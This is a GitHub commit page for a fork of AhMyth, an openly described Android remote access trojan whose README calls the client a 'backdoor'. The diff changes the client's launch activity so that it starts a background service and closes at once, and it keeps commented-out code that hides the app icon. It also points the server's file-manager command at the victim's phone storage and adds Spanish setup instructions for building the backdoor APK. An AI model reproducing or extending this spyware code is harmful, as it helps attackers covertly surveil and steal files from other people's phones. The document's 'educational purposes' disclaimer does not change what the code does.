Skip to content
This repository has been archived by the owner on Sep 3, 2021. It is now read-only.

Commit

Permalink
Soluciones: list dir, names, hide app
Browse files Browse the repository at this point in the history
  • Loading branch information
elcaza committed Apr 1, 2020
1 parent 563488a commit 4bca4b9
Show file tree
Hide file tree
Showing 6 changed files with 97 additions and 10 deletions.
17 changes: 17 additions & 0 deletions AhMyth-Client/.project
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>AhMyth-Client</name>
<comment>Project AhMyth-Client created by Buildship.</comment>
<projects>
</projects>
<buildSpec>
<buildCommand>
<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
<arguments>
</arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
</natures>
</projectDescription>
2 changes: 2 additions & 0 deletions AhMyth-Client/.settings/org.eclipse.buildship.core.prefs
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
connection.project.dir=
eclipse.preferences.version=1
Original file line number Diff line number Diff line change
Expand Up @@ -13,19 +13,20 @@

public class MainActivity extends Activity {



@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(this, MainService.class));
finish();
// fn_hideicon();
}
/* En caso de que se quiera ocultar la app
private void fn_hideicon() {





getPackageManager().setComponentEnabledSetting(getComponentName(),
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
*/
}
3 changes: 2 additions & 1 deletion AhMyth-Server/app/app/assets/js/controllers/LabCtrl.js
Original file line number Diff line number Diff line change
Expand Up @@ -201,7 +201,8 @@ app.controller("FmCtrl", function($scope, $rootScope) {

// send request to victim to bring files
$rootScope.Log('Get files list');
socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
// socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/storage/emulated/0/' });

socket.on(fileManager, (data) => {
if (data.file == true) { // response with file's binary
Expand Down
4 changes: 2 additions & 2 deletions AhMyth-Server/app/app/views/build.html
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
<td>
<div class="ui labeled fluid input ">
<div class="ui black label">
Source IP
Server IP
</div>
<input ng-model="srcIP" type="text" placeholder="188.132.xxx.xxx">
</div>
Expand All @@ -20,7 +20,7 @@
<td>
<div class="ui labeled fluid input ">
<div class="ui black label">
Source Port
Server Port
</div>
<input ng-model="srcPort" type="number" min="1025" max="65535" placeholder="default is 42474">
</div>
Expand Down
66 changes: 66 additions & 0 deletions README_ES.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
# AhMyth Android Rat
###### Beta Version
+ Repositorio original
+ ```https://github.com/AhMyth/AhMyth-Android-RAT.git```
+ El repositorio actual corrige problemas comunes para su instalación en debian 10, también recopila pull requests aún no aprobado e incorpora nuevas funcionalidades.
+ ```https://github.com/elcaza/AhMyth-Android-RAT```


Este proyecto consiste de dos partes
* Servidor : Aplicación de escritorio basada en electron framework (control panel)
* Cliente : Aplicación de android (backdoor)


## Primeros pasos
### Hay dos opciones para instalar la aplicación
#### 1) Desde el código fuente
###### Prerrequisitos :
* Electron (to start the app)
* Java 8 (to generate apk backdoor)
* Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))
1. ```git clone https://github.com/AhMyth/AhMyth-Android-RAT.git```
2. ```cd AhMyth-Android-RAT/AhMyth-Server```
3. ```npm start```

#### 2) Desde los binarios
###### Prerequisite :
* Descargar el binario desde https://github.com/AhMyth/AhMyth-Android-RAT/releases
* Java (to generate apk backdoor)

## Instalación de dependencias y solución a errores comunes
+ Esto fue probado en el siguiente ambiente
+ Debian 10
+ javac 8




## Screenshots
<p align="center">
<img src="http://i.imgur.com/HM3uXL6.png" width="600"/>
</p>

---------------------------------------------------------------

<p align="center">
<img src="http://i.imgur.com/nHTGGHi.png" width="600"/>
</p>

---------------------------------------------------------------

<p align="center">
<img src="http://i.imgur.com/XVXCHV9.png" width="600"/>
</p>


## Video Tutorial
<p align="center">
<a href="https://www.youtube.com/watch?v=DDIZTABABzs">
<img src="https://img.youtube.com/vi/DDIZTABABzs/0.jpg" width="600"/>
</a></p>


---------------------------------------------------------------
##### I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.
###### Twitter : <a href="https://twitter.com/AhMythDev"> @AhMythDev </a>
###### Bitcoin address for donations: : 1EVwLuwmbsEuej7qJnNquFeQJLsgd2b8Lq

0 comments on commit 4bca4b9

Please sign in to comment.